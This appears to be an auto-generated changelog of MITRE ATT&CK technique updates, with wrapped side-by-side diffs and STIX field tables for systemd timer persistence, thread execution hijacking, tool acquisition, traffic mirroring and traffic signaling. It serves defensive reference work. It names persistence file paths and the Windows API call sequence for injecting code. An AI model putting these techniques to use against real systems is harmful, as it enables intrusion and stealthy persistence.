| > | timer</code> file must have a corresponding <code>.service</ | > | s may be activated remotely via the <code>systemctl</code> c | ||
| > | code> file with the same name, e.g., <code>example.timer</co | > | ommand line utility, which operates over [SSH](https://attac | ||
| > | de> and <code>example.service</code>. <code>.service</code> | > | k.mitre.org/techniques/T1021/004).(Citation: Systemd Remote | ||
| > | files are [Systemd Service](https://attack.mitre.org/techniq | > | Control) Each <code>.timer</code> file must have a correspo | ||
| > | ues/T1543/002) unit files that are managed by the systemd sy | > | nding <code>.service</code> file with the same name, e.g., < | ||
| > | stem and service manager.(Citation: Linux man-pages: systemd | > | code>example.timer</code> and <code>example.service</code>. | ||
| > | January 2014) Privileged timers are written to <code>/etc/s | > | <code>.service</code> files are [Systemd Service](https://at | ||
| > | ystemd/system/</code> and <code>/usr/lib/systemd/system</cod | > | tack.mitre.org/techniques/T1543/002) unit files that are man | ||
| > | e> while user level are written to <code>~/.config/systemd/u | > | aged by the systemd system and service manager.(Citation: Li | ||
| > | ser/</code>. An adversary may use systemd timers to execute | > | nux man-pages: systemd January 2014) Privileged timers are w | ||
| > | malicious code at system startup or on a scheduled basis fo | > | ritten to <code>/etc/systemd/system/</code> and <code>/usr/l | ||
| > | r persistence.(Citation: Arch Linux Package Systemd Compromi | > | ib/systemd/system</code> while user level are written to <co | ||
| > | se BleepingComputer 10JUL2018)(Citation: gist Arch package c | > | de>~/.config/systemd/user/</code>. An adversary may use sys | ||
| > | ompromise 10JUL2018)(Citation: acroread package compromised | > | temd timers to execute malicious code at system startup or o | ||
| > | Arch Linux Mail 8JUL2018) Timers installed using privileged | > | n a scheduled basis for persistence.(Citation: Arch Linux Pa | ||
| > | paths may be used to maintain root level persistence. Advers | > | ckage Systemd Compromise BleepingComputer 10JUL2018)(Citatio | ||
| > | aries may also install user level timers to achieve user lev | > | n: gist Arch package compromise 10JUL2018)(Citation: acrorea | ||
| > | el persistence. | > | d package compromised Arch Linux Mail 8JUL2018) Timers insta | ||
| > | lled using privileged paths may be used to maintain root lev | ||||
| > | el persistence. Adversaries may also install user level time | ||||
| > | rs to achieve user level persistence. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 15:20:00.754000+00:00 | 2021-07-27 16:43:25.027000+00:00 |
| description | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)
Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence. | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence. |
| external_references[2]['source_name'] | Linux man-pages: systemd January 2014 | Systemd Remote Control |
| external_references[2]['description'] | Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. | Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021. |
| external_references[2]['url'] | http://man7.org/linux/man-pages/man1/systemd.1.html | https://www.tecmint.com/control-systemd-services-on-remote-linux-server/ |
| external_references[3]['source_name'] | Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 | Linux man-pages: systemd January 2014 |
| external_references[3]['description'] | Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. | Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. |
| external_references[3]['url'] | https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ | http://man7.org/linux/man-pages/man1/systemd.1.html |
| external_references[4]['source_name'] | gist Arch package compromise 10JUL2018 | Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 |
| external_references[4]['description'] | Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. | Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. |
| external_references[4]['url'] | https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a | https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ |
| external_references[5]['source_name'] | acroread package compromised Arch Linux Mail 8JUL2018 | gist Arch package compromise 10JUL2018 |
| external_references[5]['description'] | Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019. | Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. |
| external_references[5]['url'] | https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html | https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a |
| x_mitre_data_sources[0] | File monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'acroread package compromised Arch Linux Mail 8JUL2018', 'description': 'Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.', 'url': 'https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html'} | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 22:14:56.107000+00:00 | 2021-10-17 14:12:33.188000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Network Share: Network Share Access | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into hijacked processe | t | 1 | Adversaries may inject malicious code into hijacked processe |
| > | s in order to evade process-based defenses as well as possib | > | s in order to evade process-based defenses as well as possib | ||
| > | ly elevate privileges. Thread Execution Hijacking is a metho | > | ly elevate privileges. Thread Execution Hijacking is a metho | ||
| > | d of executing arbitrary code in the address space of a sepa | > | d of executing arbitrary code in the address space of a sepa | ||
| > | rate live process. Thread Execution Hijacking is commonly | > | rate live process. Thread Execution Hijacking is commonly | ||
| > | performed by suspending an existing process then unmapping/h | > | performed by suspending an existing process then unmapping/h | ||
| > | ollowing its memory, which can then be replaced with malicio | > | ollowing its memory, which can then be replaced with malicio | ||
| > | us code or the path to a DLL. A handle to an existing victim | > | us code or the path to a DLL. A handle to an existing victim | ||
| > | process is first created with native Windows API calls such | > | process is first created with native Windows API calls such | ||
| > | as <code>OpenThread</code>. At this point the process can b | > | as <code>OpenThread</code>. At this point the process can b | ||
| > | e suspended then written to, realigned to the injected code, | > | e suspended then written to, realigned to the injected code, | ||
| > | and resumed via <code>SuspendThread </code>, <code>VirtualA | > | and resumed via <code>SuspendThread </code>, <code>VirtualA | ||
| > | llocEx</code>, <code>WriteProcessMemory</code>, <code>SetThr | > | llocEx</code>, <code>WriteProcessMemory</code>, <code>SetThr | ||
| > | eadContext</code>, then <code>ResumeThread</code> respective | > | eadContext</code>, then <code>ResumeThread</code> respective | ||
| > | ly.(Citation: Endgame Process Injection July 2017) This is | > | ly.(Citation: Elastic Process Injection July 2017) This is | ||
| > | very similar to [Process Hollowing](https://attack.mitre.org | > | very similar to [Process Hollowing](https://attack.mitre.org | ||
| > | /techniques/T1055/012) but targets an existing process rathe | > | /techniques/T1055/012) but targets an existing process rathe | ||
| > | r than creating a process in a suspended state. Running c | > | r than creating a process in a suspended state. Running c | ||
| > | ode in the context of another process may allow access to th | > | ode in the context of another process may allow access to th | ||
| > | e process's memory, system/network resources, and possibly e | > | e process's memory, system/network resources, and possibly e | ||
| > | levated privileges. Execution via Thread Execution Hijacking | > | levated privileges. Execution via Thread Execution Hijacking | ||
| > | may also evade detection from security products since the e | > | may also evade detection from security products since the e | ||
| > | xecution is masked under a legitimate process. | > | xecution is masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:21:29.233000+00:00 | 2021-10-18 12:22:50.800000+00:00 |
| description | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Endgame Process Injection July 2017)
This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)
This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:23:30.093000+00:00 | 2021-10-18 12:24:54.198000+00:00 |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download software tools that |
| > | download software tools that can be used during targeting. | > | can be used during targeting. Tools can be open or closed so | ||
| > | Tools can be open or closed source, free or commercial. A to | > | urce, free or commercial. A tool can be used for malicious p | ||
| > | ol can be used for malicious purposes by an adversary, but ( | > | urposes by an adversary, but (unlike malware) were not inten | ||
| > | unlike malware) were not intended to be used for those purpo | > | ded to be used for those purposes (ex: [PsExec](https://atta | ||
| > | ses (ex: [PsExec](https://attack.mitre.org/software/S0029)). | > | ck.mitre.org/software/S0029)). Tool acquisition can involve | ||
| > | Tool acquisition can involve the procurement of commercial | > | the procurement of commercial software licenses, including f | ||
| > | software licenses, including for red teaming tools such as [ | > | or red teaming tools such as [Cobalt Strike](https://attack. | ||
| > | Cobalt Strike](https://attack.mitre.org/software/S0154). Com | > | mitre.org/software/S0154). Commercial software may be obtain | ||
| > | mercial software may be obtained through purchase, stealing | > | ed through purchase, stealing licenses (or licensed copies o | ||
| > | licenses (or licensed copies of the software), or cracking t | > | f the software), or cracking trial versions.(Citation: Recor | ||
| > | rial versions.(Citation: Recorded Future Beacon 2019) Adver | > | ded Future Beacon 2019) Adversaries may obtain tools to sup | ||
| > | saries may obtain tools to support their operations, includi | > | port their operations, including to support execution of pos | ||
| > | ng to support execution of post-compromise behaviors. In add | > | t-compromise behaviors. In addition to freely downloading or | ||
| > | ition to freely downloading or purchasing software, adversar | > | purchasing software, adversaries may steal software and/or | ||
| > | ies may steal software and/or software licenses from third-p | > | software licenses from third-party entities (including other | ||
| > | arty entities (including other adversaries). | > | adversaries). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['SOCCRATES', 'Mnemonic AS'] | |
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 14:46:37.477000+00:00 | 2021-10-17 16:17:55.499000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). | Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage traffic mirroring in order to autom | t | 1 | Adversaries may leverage traffic mirroring in order to autom |
| > | ate data exfiltration over compromised network infrastructur | > | ate data exfiltration over compromised network infrastructur | ||
| > | e. Traffic mirroring is a native feature for some network d | > | e. Traffic mirroring is a native feature for some network d | ||
| > | evices and used for network analysis and may be configured t | > | evices and used for network analysis and may be configured t | ||
| > | o duplicate traffic and forward to one or more destinations | > | o duplicate traffic and forward to one or more destinations | ||
| > | for analysis by a network analyzer or other monitoring devic | > | for analysis by a network analyzer or other monitoring devic | ||
| > | e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr | > | e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr | ||
| > | affic Mirroring) Adversaries may abuse traffic mirroring to | > | affic Mirroring) Adversaries may abuse traffic mirroring to | ||
| > | mirror or redirect network traffic through other network in | > | mirror or redirect network traffic through other network in | ||
| > | frastructure they control. Malicious modifications to networ | > | frastructure they control. Malicious modifications to networ | ||
| > | k devices to enable traffic redirection may be possible thro | > | k devices to enable traffic redirection may be possible thro | ||
| > | ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00 | > | ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00 | ||
| > | 4) or [Patch System Image](https://attack.mitre.org/techniqu | > | 4) or [Patch System Image](https://attack.mitre.org/techniqu | ||
| > | es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco | > | es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco | ||
| > | Blog Legacy Device Attacks) Adversaries may use traffic dupl | > | Blog Legacy Device Attacks) Adversaries may use traffic dupl | ||
| > | ication in conjunction with [Network Sniffing](https://attac | > | ication in conjunction with [Network Sniffing](https://attac | ||
| > | k.mitre.org/techniques/T1040), [Input Capture](https://attac | > | k.mitre.org/techniques/T1040), [Input Capture](https://attac | ||
| > | k.mitre.org/techniques/T1056), or [Man-in-the-Middle](https: | > | k.mitre.org/techniques/T1056), or [Adversary-in-the-Middle]( | ||
| > | //attack.mitre.org/techniques/T1557) depending on the goals | > | https://attack.mitre.org/techniques/T1557) depending on the | ||
| > | and objectives of the adversary. | > | goals and objectives of the adversary. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 02:24:54.640000+00:00 | 2021-08-16 15:23:37.640000+00:00 |
| description | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis |
Current version: 2.2
Version changed from: 2.1 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use traffic signaling to hide open ports or | t | 1 | Adversaries may use traffic signaling to hide open ports or |
| > | other malicious functionality used for persistence or comman | > | other malicious functionality used for persistence or comman | ||
| > | d and control. Traffic signaling involves the use of a magic | > | d and control. Traffic signaling involves the use of a magic | ||
| > | value or sequence that must be sent to a system to trigger | > | value or sequence that must be sent to a system to trigger | ||
| > | a special response, such as opening a closed port or executi | > | a special response, such as opening a closed port or executi | ||
| > | ng a malicious task. This may take the form of sending a ser | > | ng a malicious task. This may take the form of sending a ser | ||
| > | ies of packets with certain characteristics before a port wi | > | ies of packets with certain characteristics before a port wi | ||
| > | ll be opened that the adversary can use for command and cont | > | ll be opened that the adversary can use for command and cont | ||
| > | rol. Usually this series of packets consists of attempted co | > | rol. Usually this series of packets consists of attempted co | ||
| > | nnections to a predefined sequence of closed ports (i.e. [Po | > | nnections to a predefined sequence of closed ports (i.e. [Po | ||
| > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | ||
| > | , but can involve unusual flags, specific strings, or other | > | , but can involve unusual flags, specific strings, or other | ||
| > | unique characteristics. After the sequence is completed, ope | > | unique characteristics. After the sequence is completed, ope | ||
| > | ning a port may be accomplished by the host-based firewall, | > | ning a port may be accomplished by the host-based firewall, | ||
| > | but could also be implemented by custom software. Adversari | > | but could also be implemented by custom software. Adversari | ||
| > | es may also communicate with an already open port, but the s | > | es may also communicate with an already open port, but the s | ||
| > | ervice listening on that port will only respond to commands | > | ervice listening on that port will only respond to commands | ||
| > | or trigger other malicious functionality if passed the appro | > | or trigger other malicious functionality if passed the appro | ||
| > | priate magic value(s). The observation of the signal packet | > | priate magic value(s). The observation of the signal packet | ||
| > | s to trigger the communication can be conducted through diff | > | s to trigger the communication can be conducted through diff | ||
| > | erent methods. One means, originally implemented by Cd00r (C | > | erent methods. One means, originally implemented by Cd00r (C | ||
| > | itation: Hartrell cd00r 2002), is to use the libpcap librari | > | itation: Hartrell cd00r 2002), is to use the libpcap librari | ||
| > | es to sniff for the packets in question. Another method leve | > | es to sniff for the packets in question. Another method leve | ||
| > | rages raw sockets, which enables the malware to use ports th | > | rages raw sockets, which enables the malware to use ports th | ||
| > | at are already open for use by other programs. On network d | > | at are already open for use by other programs. On network d | ||
| > | evices, adversaries may use crafted packets to enable [Netwo | > | evices, adversaries may use crafted packets to enable [Netwo | ||
| > | rk Device Authentication](https://attack.mitre.org/technique | > | rk Device Authentication](https://attack.mitre.org/technique | ||
| > | s/T1556/004) for standard services offered by the device suc | > | s/T1556/004) for standard services offered by the device suc | ||
| > | h as telnet. Such signaling may also be used to open a clos | > | h as telnet. Such signaling may also be used to open a clos | ||
| > | ed service port such as telnet, or to trigger module modific | > | ed service port such as telnet, or to trigger module modific | ||
| > | ation of malware implants on the device, adding, removing, o | > | ation of malware implants on the device, adding, removing, o | ||
| > | r changing malicious capabilities.(Citation: Cisco Synful Kn | > | r changing malicious capabilities.(Citation: Cisco Synful Kn | ||
| > | ock Evolution) (Citation: FireEye - Synful Knock) (Citation: | > | ock Evolution) (Citation: FireEye - Synful Knock) (Citation: | ||
| > | Cisco Blog Legacy Device Attacks) To enable this traffic s | > | Cisco Blog Legacy Device Attacks) To enable this traffic s | ||
| > | ignaling on embedded devices, adversaries must first achieve | > | ignaling on embedded devices, adversaries must first achieve | ||
| > | and leverage [Patch System Image](https://attack.mitre.org/ | > | and leverage [Patch System Image](https://attack.mitre.org/ | ||
| > | techniques/T1601/001) due to the monolithic nature of the ar | > | techniques/T1601/001) due to the monolithic nature of the ar | ||
| > | chitecture. | > | chitecture. Adversaries may also use the Wake-on-LAN featur | ||
| > | e to turn on powered off systems. Wake-on-LAN is a hardware | ||||
| > | feature that allows a powered down system to be powered on, | ||||
| > | or woken up, by sending a magic packet to it. Once the syste | ||||
| > | m is powered on, it may become a target for lateral movement | ||||
| > | .(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Mag | ||||
| > | ic Packet) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 15:30:44.964000+00:00 | 2021-02-17 14:23:49.495000+00:00 |
| description | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries 